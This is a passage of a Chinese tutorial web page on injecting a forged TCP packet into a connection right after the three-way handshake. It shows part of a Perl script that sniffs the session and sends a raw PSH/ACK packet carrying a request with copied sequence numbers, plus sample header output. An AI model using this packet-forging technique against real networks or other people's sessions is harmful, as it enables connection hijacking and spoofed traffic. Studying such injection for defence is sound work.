📄 在tcp三次握手后插入伪造的tcp包.html
字号:
$tcp_obj = NetPacket::TCP->decode($ip_obj->{'data'});<br />
next if (($tcp_obj->{'src_port'} ne $opts{'p'})<br />
and ($tcp_obj->{'dest_port'} ne $opts{'p'}));<br />
<br />
$counter++;<br />
<br />
print "==ID.$counter==", '=' x 60, "\n";<br />
print get_ip_hdr($ip_obj);<br />
print get_tcp_hdr($tcp_obj);<br />
if($tcp_obj->{'data'}) {<br />
my $data;<br />
$data = unpack 'a*', $tcp_obj->{'data'};<br />
$data =~ s/[\r][\n]//g;<br />
print pretty_table('TCP data', [$data]);<br />
}<br />
<br />
if($counter == 3) {<br />
my $a = new Net::RawIP;<br />
$a->set({<br />
'ip' => {<br />
'id' => $ip_obj->{'id'} + 1,<br />
'saddr' => $ip_obj->{'src_ip'},<br />
'daddr' => $ip_obj->{'dest_ip'}<br />
},<br />
'tcp' => {<br />
'source' => $tcp_obj->{'src_port'},<br />
'dest' => $tcp_obj->{'dest_port'},<br />
'seq' => $tcp_obj->{'seqnum'},<br />
'ack_seq' => $tcp_obj->{'acknum'},<br />
'window' => $tcp_obj->{'winsize'},<br />
'data' => $request,<br />
'psh' => 1,<br />
'ack' => 1<br />
}<br />
});<br />
$a->send;<br />
}<br />
last if($counter == 5);<br />
}<br />
exit;<br />
} else {<br />
sleep(1);<br />
my $trans_serv = getprotobyname('tcp');<br />
my $dest_sockaddr = sockaddr_in($opts{'p'}, inet_aton($opts{'t'}));<br />
<br />
socket(TCP_SOCK, PF_INET, SOCK_STREAM, $trans_serv);<br />
connect(TCP_SOCK, $dest_sockaddr);<br />
sleep(1);<br />
#close TCP_SOCK;<br />
}<br />
<br />
exit;<br />
<br />
sub print_help {<br />
print <<HELP<br />
<br />
%./iamFool.pl [-h] <-t,-p,-u,-n><br />
-h print help<br />
-t target ipaddr<br />
-p service port<br />
-u requested url<br />
<br />
by:i_am_jojo\@msn.com<br />
<br />
HELP<br />
}<br />
<br />
sub get_ip_hdr {<br />
my $ip_obj = shift;<br />
my @ip_hdr;<br />
<br />
push @ip_hdr, [qw(ver tos flags id src_ip proto)];<br />
push @{$ip_hdr[1]}, $ip_obj->{$_} foreach (qw(ver tos flags id src_ip proto));<br />
push @ip_hdr, [qw(hlen len foffset ttl dest_ip cksum)];<br />
push @{$ip_hdr[3]}, $ip_obj->{$_} foreach (qw(hlen len foffset ttl dest_ip cksum));<br />
<br />
return pretty_table('IP Header', @ip_hdr);<br />
}<br />
<br />
sub get_tcp_hdr {<br />
my $tcp_obj = shift;<br />
my @tcp_hdr;<br />
<br />
push @tcp_hdr, [qw(src_port seqnum hlen flags)];<br />
push @{$tcp_hdr[1]}, $tcp_obj->{$_} foreach (qw(src_port seqnum hlen flags));<br />
push @tcp_hdr, [qw(dest_port acknum reserved winsize)];<br />
push @{$tcp_hdr[3]}, $tcp_obj->{$_} foreach (qw(dest_port acknum reserved winsize));<br />
<br />
return pretty_table('TCP Header', @tcp_hdr);<br />
}<br />
<br />
sub pretty_table {<br />
# prettyTable($aString, @aList); @aList = ( [...], [...] );<br />
# by i_am_jojo@msn.com<br />
my ($title, @data) = @_;<br />
my @temp;<br />
my @max_length;<br />
my $row_length;<br />
my $indent = 4;<br />
my $the_table;<br />
<br />
foreach my $col (0..$#{$data[0]}) { push @{$temp[$col]}, $_->[$col] foreach (@data); }<br />
$max_length[$_] = length( (sort{length($b) <=> length($a)} @{$data[$_]} )[0]) + 2 foreach (0..$#data);<br />
$row_length+= $max_length[$_] foreach (0..$#{$temp[0]}); <br />
$row_length+= $#data;<br />
<br />
$the_table = ' ' x $indent.'+'.'-' x $row_length."+\n";<br />
$the_table.= ' ' x $indent.'| '.$title.' ' x ($row_length - length($title) - 1)."|\n";<br />
foreach my $row (0..$#temp) {<br />
$the_table.= ' ' x $indent;<br />
$the_table.= '+'.'-' x $max_length[$_] foreach (0.. $#{$temp[0]});<br />
$the_table.= "+\n";<br />
$the_table.= ' ' x $indent;<br />
$the_table.= '| '.@{$temp[$row]}[$_].' ' x ($max_length[$_] - length(@{$temp[$row]}[$_]) - 1) foreach (0.. $#{$temp[0]});<br />
$the_table.= "|\n";<br />
}<br />
$the_table.= ' ' x $indent;<br />
$the_table.= '+'.'-' x $max_length[$_] foreach (0.. $#{$temp[0]});<br />
$the_table.= "+\n";<br />
<br />
return $the_table;<br />
}<br />
<br />
<br />
四、结果举例<br />
<br />
==Result eXample==<br />
<br />
2005/05/02 21:51:23, begin sniffing ...<br />
==ID.1==============================================================<br />
+---------------------------------------------------+<br />
| IP Header |<br />
+--------+---------------+---------+----------------+<br />
| ver | 4 | hlen | 5 |<br />
+--------+---------------+---------+----------------+<br />
| tos | 0 | len | 60 |<br />
+--------+---------------+---------+----------------+<br />
| flags | 2 | foffset | 0 |<br />
+--------+---------------+---------+----------------+<br />
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -